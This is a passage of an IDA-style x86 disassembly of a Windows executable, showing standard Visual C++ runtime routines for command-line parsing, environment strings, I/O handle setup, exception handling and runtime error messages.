		jz	short loc_41F33A
		test	dl, dl
		jz	short loc_41F33A
		movzx	edx, dl
		test	ds:byte_48B561[edx], 4
		jz	short loc_41F32D
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F32D
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		inc	eax

loc_41F32D:				; CODE XREF: sub_41F2D9+46j
					; sub_41F2D9+4Cj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F308
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F308
; ---------------------------------------------------------------------------

loc_41F33A:				; CODE XREF: sub_41F2D9+36j
					; sub_41F2D9+3Aj
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F344
		and	byte ptr [esi],	0
		inc	esi

loc_41F344:				; CODE XREF: sub_41F2D9+65j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F38F
		inc	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F34C:				; CODE XREF: sub_41F2D9+2Dj
					; sub_41F2D9+A5j
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F357
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi

loc_41F357:				; CODE XREF: sub_41F2D9+77j
		mov	dl, [eax]
		inc	eax
		movzx	ebx, dl
		test	ds:byte_48B561[ebx], 4
		jz	short loc_41F372
		inc	dword ptr [ecx]
		test	esi, esi
		jz	short loc_41F371
		mov	bl, [eax]
		mov	[esi], bl
		inc	esi

loc_41F371:				; CODE XREF: sub_41F2D9+91j
		inc	eax

loc_41F372:				; CODE XREF: sub_41F2D9+8Bj
		cmp	dl, 20h
		jz	short loc_41F380
		test	dl, dl
		jz	short loc_41F384
		cmp	dl, 9
		jnz	short loc_41F34C

loc_41F380:				; CODE XREF: sub_41F2D9+9Cj
		test	dl, dl
		jnz	short loc_41F387

loc_41F384:				; CODE XREF: sub_41F2D9+A0j
		dec	eax
		jmp	short loc_41F38F
; ---------------------------------------------------------------------------

loc_41F387:				; CODE XREF: sub_41F2D9+A9j
		test	esi, esi
		jz	short loc_41F38F
		and	byte ptr [esi-1], 0

loc_41F38F:				; CODE XREF: sub_41F2D9+6Ej
					; sub_41F2D9+71j ...
		and	[ebp+arg_10], 0

loc_41F393:				; CODE XREF: sub_41F2D9+19Ej
		cmp	byte ptr [eax],	0
		jz	loc_41F47C

loc_41F39C:				; CODE XREF: sub_41F2D9+D0j
		mov	dl, [eax]
		cmp	dl, 20h
		jz	short loc_41F3A8
		cmp	dl, 9
		jnz	short loc_41F3AB

loc_41F3A8:				; CODE XREF: sub_41F2D9+C8j
		inc	eax
		jmp	short loc_41F39C
; ---------------------------------------------------------------------------

loc_41F3AB:				; CODE XREF: sub_41F2D9+CDj
		cmp	byte ptr [eax],	0
		jz	loc_41F47C
		test	edi, edi
		jz	short loc_41F3C0
		mov	[edi], esi
		add	edi, 4
		mov	[ebp+arg_4], edi

loc_41F3C0:				; CODE XREF: sub_41F2D9+DDj
		mov	edx, [ebp+arg_C]
		inc	dword ptr [edx]

loc_41F3C5:				; CODE XREF: sub_41F2D9+18Fj
		mov	[ebp+arg_0], 1
		xor	ebx, ebx

loc_41F3CE:				; CODE XREF: sub_41F2D9+FCj
		cmp	byte ptr [eax],	5Ch
		jnz	short loc_41F3D7
		inc	eax
		inc	ebx
		jmp	short loc_41F3CE
; ---------------------------------------------------------------------------

loc_41F3D7:				; CODE XREF: sub_41F2D9+F8j
		cmp	byte ptr [eax],	22h
		jnz	short loc_41F408
		test	bl, 1
		jnz	short loc_41F406
		xor	edi, edi
		cmp	[ebp+arg_10], edi
		jz	short loc_41F3F5
		cmp	byte ptr [eax+1], 22h
		lea	edx, [eax+1]
		jnz	short loc_41F3F5
		mov	eax, edx
		jmp	short loc_41F3F8
; ---------------------------------------------------------------------------

loc_41F3F5:				; CODE XREF: sub_41F2D9+10Dj
					; sub_41F2D9+116j
		mov	[ebp+arg_0], edi

loc_41F3F8:				; CODE XREF: sub_41F2D9+11Aj
		mov	edi, [ebp+arg_4]
		xor	edx, edx
		cmp	[ebp+arg_10], edx
		setz	dl
		mov	[ebp+arg_10], edx

loc_41F406:				; CODE XREF: sub_41F2D9+106j
		shr	ebx, 1

loc_41F408:				; CODE XREF: sub_41F2D9+101j
		mov	edx, ebx
		dec	ebx
		test	edx, edx
		jz	short loc_41F41D
		inc	ebx

loc_41F410:				; CODE XREF: sub_41F2D9+142j
		test	esi, esi
		jz	short loc_41F418
		mov	byte ptr [esi],	5Ch
		inc	esi

loc_41F418:				; CODE XREF: sub_41F2D9+139j
		inc	dword ptr [ecx]
		dec	ebx
		jnz	short loc_41F410

loc_41F41D:				; CODE XREF: sub_41F2D9+134j
		mov	dl, [eax]
		test	dl, dl
		jz	short loc_41F46D
		cmp	[ebp+arg_10], 0
		jnz	short loc_41F433
		cmp	dl, 20h
		jz	short loc_41F46D
		cmp	dl, 9
		jz	short loc_41F46D

loc_41F433:				; CODE XREF: sub_41F2D9+14Ej
		cmp	[ebp+arg_0], 0
		jz	short loc_41F467
		test	esi, esi
		jz	short loc_41F456
		movzx	ebx, dl
		test	ds:byte_48B561[ebx], 4
		jz	short loc_41F44F
		mov	[esi], dl
		inc	esi
		inc	eax
		inc	dword ptr [ecx]

loc_41F44F:				; CODE XREF: sub_41F2D9+16Ej
		mov	dl, [eax]
		mov	[esi], dl
		inc	esi
		jmp	short loc_41F465
; ---------------------------------------------------------------------------

loc_41F456:				; CODE XREF: sub_41F2D9+162j
		movzx	edx, dl
		test	ds:byte_48B561[edx], 4
		jz	short loc_41F465
		inc	eax
		inc	dword ptr [ecx]

loc_41F465:				; CODE XREF: sub_41F2D9+17Bj
					; sub_41F2D9+187j
		inc	dword ptr [ecx]

loc_41F467:				; CODE XREF: sub_41F2D9+15Ej
		inc	eax
		jmp	loc_41F3C5
; ---------------------------------------------------------------------------

loc_41F46D:				; CODE XREF: sub_41F2D9+148j
					; sub_41F2D9+153j ...
		test	esi, esi
		jz	short loc_41F475
		and	byte ptr [esi],	0
		inc	esi

loc_41F475:				; CODE XREF: sub_41F2D9+196j
		inc	dword ptr [ecx]
		jmp	loc_41F393
; ---------------------------------------------------------------------------

loc_41F47C:				; CODE XREF: sub_41F2D9+BDj
					; sub_41F2D9+D5j
		test	edi, edi
		jz	short loc_41F483
		and	dword ptr [edi], 0

loc_41F483:				; CODE XREF: sub_41F2D9+1A5j
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		pop	ebx
		inc	dword ptr [eax]
		pop	ebp
		retn
sub_41F2D9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F48D	proc near		; CODE XREF: _0:00419C63p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_48A1D0
		push	ebx
		push	ebp
		mov	ebp, ds:dword_42403C
		push	esi
		push	edi
		xor	ebx, ebx
		xor	esi, esi
		xor	edi, edi
		cmp	eax, ebx
		jnz	short loc_41F4DB
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41F4BC
		mov	ds:dword_48A1D0, 1
		jmp	short loc_41F4E4
; ---------------------------------------------------------------------------

loc_41F4BC:				; CODE XREF: sub_41F48D+21j
		call	ds:dword_424040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_41F5B6
		mov	ds:dword_48A1D0, 2
		jmp	loc_41F56A
; ---------------------------------------------------------------------------

loc_41F4DB:				; CODE XREF: sub_41F48D+19j
		cmp	eax, 1
		jnz	loc_41F565

loc_41F4E4:				; CODE XREF: sub_41F48D+2Dj
		cmp	esi, ebx
		jnz	short loc_41F4F4
		call	ebp	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_41F5B6

loc_41F4F4:				; CODE XREF: sub_41F48D+59j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41F509

loc_41F4FB:				; CODE XREF: sub_41F48D+73j
					; sub_41F48D+7Aj
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB
		inc	eax
		inc	eax
		cmp	[eax], bx
		jnz	short loc_41F4FB

loc_41F509:				; CODE XREF: sub_41F48D+6Cj
		sub	eax, esi
		mov	edi, ds:dword_424150
		sar	eax, 1
		push	ebx
		push	ebx
		inc	eax
		push	ebx
		push	ebx
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41F55A
		push	ebp
		call	sub_417B89
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41F55A
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41F556
		push	[esp+18h+var_8]
		call	sub_417C3B
		pop	ecx
		mov	[esp+18h+var_8], ebx

loc_41F556:				; CODE XREF: sub_41F48D+B9j
		mov	ebx, [esp+18h+var_8]

loc_41F55A:				; CODE XREF: sub_41F48D+99j
					; sub_41F48D+A8j
		push	esi
		call	ds:dword_424044	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F565:				; CODE XREF: sub_41F48D+51j
		cmp	eax, 2
		jnz	short loc_41F5B6

loc_41F56A:				; CODE XREF: sub_41F48D+49j
		cmp	edi, ebx
		jnz	short loc_41F57A
		call	ds:dword_424040	; GetEnvironmentStrings
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_41F5B6

loc_41F57A:				; CODE XREF: sub_41F48D+DFj
		cmp	[edi], bl
		mov	eax, edi
		jz	short loc_41F58A

loc_41F580:				; CODE XREF: sub_41F48D+F6j
					; sub_41F48D+FBj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41F580

loc_41F58A:				; CODE XREF: sub_41F48D+F1j
		sub	eax, edi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_41F5A0
		xor	esi, esi
		jmp	short loc_41F5AB
; ---------------------------------------------------------------------------

loc_41F5A0:				; CODE XREF: sub_41F48D+10Dj
		push	ebp
		push	edi
		push	esi
		call	sub_417390
		add	esp, 0Ch

loc_41F5AB:				; CODE XREF: sub_41F48D+111j
		push	edi
		call	ds:dword_424048	; FreeEnvironmentStringsA
		mov	eax, esi
		jmp	short loc_41F5B8
; ---------------------------------------------------------------------------

loc_41F5B6:				; CODE XREF: sub_41F48D+39j
					; sub_41F48D+61j ...
		xor	eax, eax

loc_41F5B8:				; CODE XREF: sub_41F48D+D6j
					; sub_41F48D+127j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41F48D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F5BF	proc near		; CODE XREF: _0:00419C53p

var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		push	edi
		push	100h
		call	sub_417B89
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_41F5DF
		push	1Bh
		call	sub_419CDA
		pop	ecx

loc_41F5DF:				; CODE XREF: sub_41F5BF+16j
		mov	ds:dword_48B340, esi
		mov	ds:dword_48B440, 20h
		lea	eax, [esi+100h]

loc_41F5F5:				; CODE XREF: sub_41F5BF+52j
		cmp	esi, eax
		jnb	short loc_41F613
		and	byte ptr [esi+4], 0
		or	dword ptr [esi], 0FFFFFFFFh
		mov	byte ptr [esi+5], 0Ah
		mov	eax, ds:dword_48B340
		add	esi, 8
		add	eax, 100h
		jmp	short loc_41F5F5
; ---------------------------------------------------------------------------

loc_41F613:				; CODE XREF: sub_41F5BF+38j
		lea	eax, [esp+54h+var_44]
		push	eax
		call	ds:dword_424198	; GetStartupInfoA
		cmp	word ptr [esp+54h+var_14+2], 0
		jz	loc_41F6EF
		mov	eax, [esp+54h+var_10]
		test	eax, eax
		jz	loc_41F6EF
		mov	esi, [eax]
		lea	ebp, [eax+4]
		mov	eax, 800h
		cmp	esi, eax
		lea	ebx, [esi+ebp]
		jl	short loc_41F649
		mov	esi, eax

loc_41F649:				; CODE XREF: sub_41F5BF+86j
		cmp	ds:dword_48B440, esi
		jge	short loc_41F6A3
		mov	edi, offset dword_48B344

loc_41F656:				; CODE XREF: sub_41F5BF+DAj
		push	100h
		call	sub_417B89
		test	eax, eax
		pop	ecx
		jz	short loc_41F69D
		add	ds:dword_48B440, 20h
		mov	[edi], eax
		lea	ecx, [eax+100h]

loc_41F674:				; CODE XREF: sub_41F5BF+CFj
		cmp	eax, ecx
		jnb	short loc_41F690
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [edi]
		add	eax, 8
		add	ecx, 100h
		jmp	short loc_41F674
; ---------------------------------------------------------------------------

loc_41F690:				; CODE XREF: sub_41F5BF+B7j
		add	edi, 4
		cmp	ds:dword_48B440, esi
		jl	short loc_41F656
		jmp	short loc_41F6A3
; ---------------------------------------------------------------------------

loc_41F69D:				; CODE XREF: sub_41F5BF+A4j
		mov	esi, ds:dword_48B440

loc_41F6A3:				; CODE XREF: sub_41F5BF+90j
					; sub_41F5BF+DCj
		xor	edi, edi
		test	esi, esi
		jle	short loc_41F6EF

loc_41F6A9:				; CODE XREF: sub_41F5BF+12Ej
		mov	eax, [ebx]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F6E6
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41F6E6
		test	cl, 8
		jnz	short loc_41F6C8
		push	eax
		call	ds:dword_424030	; GetFileType
		test	eax, eax
		jz	short loc_41F6E6

loc_41F6C8:				; CODE XREF: sub_41F5BF+FCj
		mov	eax, edi
		mov	ecx, edi
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_48B340[eax*4]
		lea	eax, [eax+ecx*8]
		mov	ecx, [ebx]
		mov	[eax], ecx
		mov	cl, [ebp+0]
		mov	[eax+4], cl

loc_41F6E6:				; CODE XREF: sub_41F5BF+EFj
					; sub_41F5BF+F7j ...
		inc	edi
		inc	ebp
		add	ebx, 4
		cmp	edi, esi
		jl	short loc_41F6A9

loc_41F6EF:				; CODE XREF: sub_41F5BF+65j
					; sub_41F5BF+71j ...
		xor	ebx, ebx

loc_41F6F1:				; CODE XREF: sub_41F5BF+195j
		mov	eax, ds:dword_48B340
		cmp	dword ptr [eax+ebx*8], 0FFFFFFFFh
		lea	esi, [eax+ebx*8]
		jnz	short loc_41F74C
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41F70C
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41F716
; ---------------------------------------------------------------------------

loc_41F70C:				; CODE XREF: sub_41F5BF+146j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h

loc_41F716:				; CODE XREF: sub_41F5BF+14Bj
		push	eax
		call	ds:dword_424034	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41F73B
		push	edi
		call	ds:dword_424030	; GetFileType
		test	eax, eax
		jz	short loc_41F73B
		and	eax, 0FFh
		mov	[esi], edi
		cmp	eax, 2
		jnz	short loc_41F741

loc_41F73B:				; CODE XREF: sub_41F5BF+163j
					; sub_41F5BF+16Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F741:				; CODE XREF: sub_41F5BF+17Aj
		cmp	eax, 3
		jnz	short loc_41F750
		or	byte ptr [esi+4], 8
		jmp	short loc_41F750
; ---------------------------------------------------------------------------

loc_41F74C:				; CODE XREF: sub_41F5BF+13Ej
		or	byte ptr [esi+4], 80h

loc_41F750:				; CODE XREF: sub_41F5BF+180j
					; sub_41F5BF+185j ...
		inc	ebx
		cmp	ebx, 3
		jl	short loc_41F6F1
		push	ds:dword_48B440
		call	ds:dword_424038	; LockResource
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 44h
		retn
sub_41F5BF	endp

; ---------------------------------------------------------------------------
		align 4
		push	esi
		inc	ebx
		xor	dh, [eax]
		pop	eax
		inc	ebx
		xor	[eax], dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F774	proc near		; DATA XREF: _0:00419BEEo
					; sub_41CFF1+Ao ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		push	ebp
		cld
		mov	ebx, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		test	dword ptr [eax+4], 6
		jnz	loc_41F814
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_8]
		mov	[ebx-4], eax
		mov	esi, [ebx+0Ch]
		mov	edi, [ebx+8]

loc_41F7A7:				; CODE XREF: sub_41F774+90j
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41F80D
		lea	ecx, [esi+esi*2]
		cmp	dword ptr [edi+ecx*4+4], 0
		jz	short loc_41F7FB
		push	esi
		push	ebp
		lea	ebp, [ebx+10h]
		call	dword ptr [edi+ecx*4+4]
		pop	ebp
		pop	esi
		mov	ebx, [ebp+arg_4]
		or	eax, eax
		jz	short loc_41F7FB
		js	short loc_41F806
		mov	edi, [ebx+8]
		push	ebx
		call	sub_4181A0
		add	esp, 4
		lea	ebp, [ebx+10h]
		push	esi
		push	ebx
		call	sub_4181E2
		add	esp, 8
		lea	ecx, [esi+esi*2]
		push	1
		mov	eax, [edi+ecx*4+8]
		call	sub_418276
		mov	eax, [edi+ecx*4]
		mov	[ebx+0Ch], eax
		call	dword ptr [edi+ecx*4+8]

loc_41F7FB:				; CODE XREF: sub_41F774+40j
					; sub_41F774+52j
		mov	edi, [ebx+8]
		lea	ecx, [esi+esi*2]
		mov	esi, [edi+ecx*4]
		jmp	short loc_41F7A7
; ---------------------------------------------------------------------------

loc_41F806:				; CODE XREF: sub_41F774+54j
		mov	eax, 0
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F80D:				; CODE XREF: sub_41F774+36j
		mov	eax, 1
		jmp	short loc_41F829
; ---------------------------------------------------------------------------

loc_41F814:				; CODE XREF: sub_41F774+18j
		push	ebp
		lea	ebp, [ebx+10h]
		push	0FFFFFFFFh
		push	ebx
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		mov	eax, 1

loc_41F829:				; CODE XREF: sub_41F774+97j
					; sub_41F774+9Ej
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41F774	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ecx, [esp+8]
		mov	ebp, [ecx]
		mov	eax, [ecx+1Ch]
		push	eax
		mov	eax, [ecx+18h]
		push	eax
		call	sub_4181E2
		add	esp, 8
		pop	ebp
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41F84C	proc near		; CODE XREF: sub_419CDA+9p
					; sub_419CFF+9p
		mov	eax, ds:dword_48A068
		cmp	eax, 1
		jz	short loc_41F863
		test	eax, eax
		jnz	short locret_41F884
		cmp	ds:dword_439594, 1
		jnz	short locret_41F884

loc_41F863:				; CODE XREF: sub_41F84C+8j
		push	0FCh
		call	sub_41F885
		mov	eax, ds:dword_48A1D4
		pop	ecx
		test	eax, eax
		jz	short loc_41F879
		call	eax

loc_41F879:				; CODE XREF: sub_41F84C+29j
		push	0FFh
		call	sub_41F885
		pop	ecx

locret_41F884:				; CODE XREF: sub_41F84C+Cj
					; sub_41F84C+15j
		retn
sub_41F84C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F885	proc near		; CODE XREF: sub_419CDA+12p
					; sub_419CFF+12p ...

var_1A4		= byte ptr -1A4h
var_A0		= byte ptr -0A0h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1A4h
		mov	edx, [ebp+arg_0]
		xor	ecx, ecx
		mov	eax, offset dword_43BC28

loc_41F898:				; CODE XREF: sub_41F885+20j
		cmp	edx, [eax]
		jz	short loc_41F8A7
		add	eax, 8
		inc	ecx
		cmp	eax, offset off_43BCB8
		jl	short loc_41F898

loc_41F8A7:				; CODE XREF: sub_41F885+15j
		push	esi
		mov	esi, ecx
		shl	esi, 3
		cmp	edx, ds:dword_43BC28[esi]
		jnz	loc_41F9D5
		mov	eax, ds:dword_48A068
		cmp	eax, 1
		jz	loc_41F9AF
		test	eax, eax
		jnz	short loc_41F8D8
		cmp	ds:dword_439594, 1
		jz	loc_41F9AF

loc_41F8D8:				; CODE XREF: sub_41F885+44j
		cmp	edx, 0FCh
		jz	loc_41F9D5
		lea	eax, [ebp+var_1A4]
		push	104h
		push	eax
		push	0
		call	ds:off_424094
		test	eax, eax
		jnz	short loc_41F90F
		lea	eax, [ebp+var_1A4]
		push	offset aProgramNameUnk ; "<program name	unknown>"
		push	eax
		call	sub_4179C0
		pop	ecx
		pop	ecx

loc_41F90F:				; CODE XREF: sub_41F885+75j
		lea	eax, [ebp+var_1A4]
		push	edi
		push	eax
		lea	edi, [ebp+var_1A4]
		call	sub_417AB0
		inc	eax
		pop	ecx
		cmp	eax, 3Ch
		jbe	short loc_41F952
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_417AB0
		mov	edi, eax
		lea	eax, [ebp+var_1A4]
		sub	eax, 3Bh
		push	3
		add	edi, eax
		push	offset a___	; "..."
		push	edi
		call	sub_418C10
		add	esp, 10h

loc_41F952:				; CODE XREF: sub_41F885+A2j
		lea	eax, [ebp+var_A0]
		push	offset aRuntimeErrorPr ; "Runtime Error!\n\nProgram: "
		push	eax
		call	sub_4179C0
		lea	eax, [ebp+var_A0]
		push	edi
		push	eax
		call	sub_4179D0
		lea	eax, [ebp+var_A0]
		push	offset asc_424BA8 ; "\n\n"
		push	eax
		call	sub_4179D0
		push	ds:off_43BC2C[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_4179D0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_42105F
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41F9D5
; ---------------------------------------------------------------------------

loc_41F9AF:				; CODE XREF: sub_41F885+3Cj
					; sub_41F885+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_43BC2C[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_417AB0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	ds:dword_424034	; GetStdHandle
		push	eax
		call	ds:dword_42407C	; WriteFile

loc_41F9D5:				; CODE XREF: sub_41F885+2Ej
					; sub_41F885+59j ...
		pop	esi
		leave
		retn
sub_41F885	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F9D8	proc near		; CODE XREF: sub_419D23+6Cp
					; sub_41E248+32p ...

arg_0		= dword	ptr  4

		inc	ds:dword_48A1D8
		push	1000h
		call	sub_417B89
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41FA01
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41FA12
; ---------------------------------------------------------------------------

loc_41FA01:				; CODE XREF: sub_41F9D8+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2

loc_41FA12:				; CODE XREF: sub_41F9D8+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41F9D8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA1C	proc near		; CODE XREF: sub_419D23+61p
					; sub_41A8A2+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_48B440
		jb	short loc_41FA2B
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------

loc_41FA2B:				; CODE XREF: sub_41FA1C+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_48B340[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41FA1C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FA42	proc near		; DATA XREF: _2:00426020o
		mov	eax, ds:dword_48B320
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41FA56
		mov	eax, 200h
		jmp	short loc_41FA5C
; ---------------------------------------------------------------------------

loc_41FA56:				; CODE XREF: sub_41FA42+Bj
		cmp	eax, esi
		jge	short loc_41FA61
		mov	eax, esi

loc_41FA5C:				; CODE XREF: sub_41FA42+12j
		mov	ds:dword_48B320, eax

loc_41FA61:				; CODE XREF: sub_41FA42+16j
		push	4
		push	eax
		call	sub_4210E8
		pop	ecx
		mov	ds:dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	4
		push	esi
		mov	ds:dword_48B320, esi
		call	sub_4210E8
		pop	ecx
		mov	ds:dword_48A310, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41FA95
		push	1Ah
		call	sub_419CDA
		pop	ecx

loc_41FA95:				; CODE XREF: sub_41FA42+30j
					; sub_41FA42+49j
		xor	ecx, ecx
		mov	eax, offset off_43BCB8

loc_41FA9C:				; CODE XREF: sub_41FA42+6Ej
		mov	edx, ds:dword_48A310
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_43BF38
		jl	short loc_41FA9C
		xor	edx, edx
		mov	ecx, offset dword_43BCC8

loc_41FAB9:				; CODE XREF: sub_41FA42+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_48B340[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41FAD6
		test	eax, eax
		jnz	short loc_41FAD9

loc_41FAD6:				; CODE XREF: sub_41FA42+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh

loc_41FAD9:				; CODE XREF: sub_41FA42+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_43BD28
		jl	short loc_41FAB9
		pop	esi
		retn
sub_41FA42	endp


; =============== S U B	R O U T	I N E =======================================



sub_41FAE7	proc near		; DATA XREF: _2:00426030o

; FUNCTION CHUNK AT 00421199 SIZE 00000058 BYTES

		call	sub_41A82C
		cmp	ds:byte_48A054,	0
		jz	short locret_41FAFA
		jmp	loc_421199
; ---------------------------------------------------------------------------

locret_41FAFA:				; CODE XREF: sub_41FAE7+Cj
		retn
sub_41FAE7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FAFB	proc near		; CODE XREF: sub_419E38+2D4p
					; sub_419E38+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41FB07
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB07:				; CODE XREF: sub_41FAFB+8j
		cmp	ds:dword_48A0A8, 0
		jnz	short loc_41FB22
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41FB54
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41FB22:				; CODE XREF: sub_41FAFB+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_4397AC
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_48A0B8
		call	ds:dword_424150	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41FB54
		cmp	[ebp+arg_0], 0
		jz	short loc_41FB61

loc_41FB54:				; CODE XREF: sub_41FAFB+1Ej
					; sub_41FAFB+51j
		mov	ds:dword_48A014, 2Ah
		or	eax, 0FFFFFFFFh

loc_41FB61:				; CODE XREF: sub_41FAFB+57j
		pop	ebp
		retn
sub_41FAFB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41FB63	proc near		; CODE XREF: sub_41A642+5Ep
					; sub_41EB6C+9Ap

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_424BE8
		push	offset sub_41F774
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, ds:dword_48A1DC
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41FBD2
		lea	eax, [ebp+var_1C]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_4248D8
		push	esi
		call	ds:dword_424028	; GetStringTypeW
